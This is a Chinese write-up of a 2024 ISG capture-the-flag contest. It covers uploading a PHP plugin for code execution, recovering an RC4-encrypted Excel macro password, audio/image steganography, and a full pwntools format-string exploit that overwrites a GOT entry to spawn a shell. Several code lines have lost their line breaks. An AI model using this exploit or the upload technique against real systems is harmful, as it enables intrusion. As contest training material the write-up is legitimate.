2024年 ISG 网络安全技能竞赛“观安杯”管理运维赛初赛WP
2024年 ISG 网络安全技能竞赛“观安杯”管理运维赛初赛WP
[X] 🛰:ly3260344435
[X] 🐧:3260344435[X] BiliBili:鱼影安全
[X] 公众号:鱼影安全
[X] CSDN:落寞的魚丶
[X] 知识星球:中职-高职-CTF竞赛
[X] 信息安全评估(高职)、中职网络安全、金砖比赛、世界技能大赛省选拔选拔赛、电子取证比赛培训等
Web:
web_emm:
使用设置好的管理员用户和密码进行登录后台,然后点击插件
**在本地创建目录
test-test
,然后在
test
目录里创建
test.php
**
**注意看一下压缩包的结构,一定要是一个目录里面包含
php
文件,
不然就会报错显示安装失败,点击上传**
上传完事以后,访问路径
isg.idss-cn.com:25554/content/plugins/test/test.php
Misc:
misc office:
**
excl
表格
Base64
解码得到密码:
I#ziTxnxvbg#GC9
打开发现是假的**
**既然是
office
的题肯定想到
宏
使用工具
oletool
得到
VB
宏代码进行分析**
提取:
Function Check(user_enc)
Encrypted ="184,116,232,38,216,127,29,89,225,84,108,82,8,0,161,49,232,127,45,252,147,140,185,210,26,107,123,2,82,189,0,167,205,130,94,54,94,242,138,139,102,79,250,139,9,142,17,42,198,113,246,6,142,31,"If(user_enc <> Encrypted) Then
Check = False
Else
Check = True
End If
End Function
Private Sub Worksheet_Change(ByVal Target As Range)
If Not Intersect(Target, Me.Range("B2")) Is Nothing Then
If Check(crypto(Target.Value)) Then
Me.Range("C2").Value ="success"
Me.Range("C2").Interior.Color =RGB(232,245,233)
Else
Me.Range("C2").Value ="fail"
Me.Range("C2").Interior.Color =RGB(251,233,231)
End If
End If
End Sub
Function crypto(sMessage)
Dim kLen, x, y, i, j, temp
Dim s(256)
For i =0 To 255s(i)= i
Next
j =0
For i =0 To 255
j =(j +s(i)) Mod 256
temp =s(i)s(i)=s(j)s(j)= temp
Next
x =0
y =0
For i =1 To Len(sMessage)
x =(x +1) Mod 256
y =(y +s(x)) Mod 256
temp =s(x)s(x)=s(y)s(y)= temp
crypto = crypto &(s((s(x)+s(y)) Mod 256) Xor Asc(Mid(sMessage, i,1)))&","
Next
End Function
**发现是
RC4
直接进行解密(脚本:exp)**
def initialize_key_schedule(seed):
key_schedule =list(range(256)) # 初始化密钥调度表
j =0for i in range(256):
j =(j + key_schedule[i])%256
key_schedule[i], key_schedule[j]= key_schedule[j], key_schedule[i]return key_schedule
def rc4_crypt(seed, data):
key_schedule =initialize_key_schedule(seed)
x = y =0
encrypted_data =[]for byte in data:
x =(x +1)%256
y =(y + key_schedule[x])%256
key_schedule[x], key_schedule[y]= key_schedule[y], key_schedule[x]
t = key_schedule[(key_schedule[x]+ key_schedule[y])%256]
encrypted_data.append(chr(byte ^ t))return''.join(encrypted_data)
# 原始的加密数据
encrypted_data =[184,116,232,38,216,127,29,89,225,84,108,82,8,0,161,49,232,127,45,252,147,140,185,210,26,107,123,2,82,189,0,167,205,130,94,54,94,242,138,139,102,79,250,139,9,142,17,42,198,113,246,6,142,31] # 省略了部分数据
#RC4密钥种子
key_seed =[0]*len(encrypted_data) # 假设密钥种子与加密数据长度相同,这里仅作为示例
# 执行RC4解密
decrypted_data =rc4_crypt(key_seed, encrypted_data)print(decrypted_data)
方法2使用工具:
flag{H@ckRr5_n3\/eR_c@RE_@60u+_9eN+13m3N'5_@9r33MEn+5}
misc see it:
**音频文件,
binwalk -e
分离得到一个压缩包 里面有密码:
p@ssw0rd_1s_myg0
**
**得到密码可以想到使用
steghide
可以
info
查看是否有隐藏文件 发现有 直接使用命令解密**
**在使用
zsteg
工具得到
flag
**
steghide extract -sf challenge.wav
zsteg mygo.png
flag{m4k3_u53_0f_0p3n_50urc3_t00l5}
PWN:
pwn_reject dollar:
**输入存在
$
过滤**
**
Printf
输出时会进行排序,但是
\n
可以绕过。发现格式化字符串漏洞。**
**直接手写利用
payload getshell
**
exp:
Exp:
from pwn import *#p=remote("isg.idss-cn.com",29564)
p =process("./pwn")
libc =ELF("./libc.so.6")
elf =ELF("./pwn")
def inpt(content):
p.sendlineafter("e > ","1")
p.sendlineafter("ge > ",content)
def printf():
p.sendlineafter("e > ","2")
def puts():
p.sendlineafter("e > ","3")
def pwn():inpt("\n"+"%d"*42+".%p.")printf()
p.recvuntil(".")
libc.address =int(p.recvuntil(".")[:-1],16)-0x29d90
addr1 =(libc.symbols['system']&0xffff)-0x21
addr2 =((libc.symbols['system']>>16)&0xffff)-(libc.symbols['system']&0xffff)print('libc:',hex(libc.address))
snd = b'\n'+b'%c'*0x20+b'%'+str(addr1).encode()+b'c%hn%'+str(addr2).encode()+b'c%hn'
snd = snd.ljust((0x22-8)*8)+p64(elf.got['puts'])
snd = snd.ljust((0x24-8)*8)+p64(elf.got['puts']+2)inpt(snd)printf()inpt("sh;")puts()
p.interactive()pwn()
##flag{4DSmeHyBCZtF71VEPopsYvx5qa9UiGQu}
版权归原作者 落寞的魚丶 所有, 如有侵权,请联系我们删除。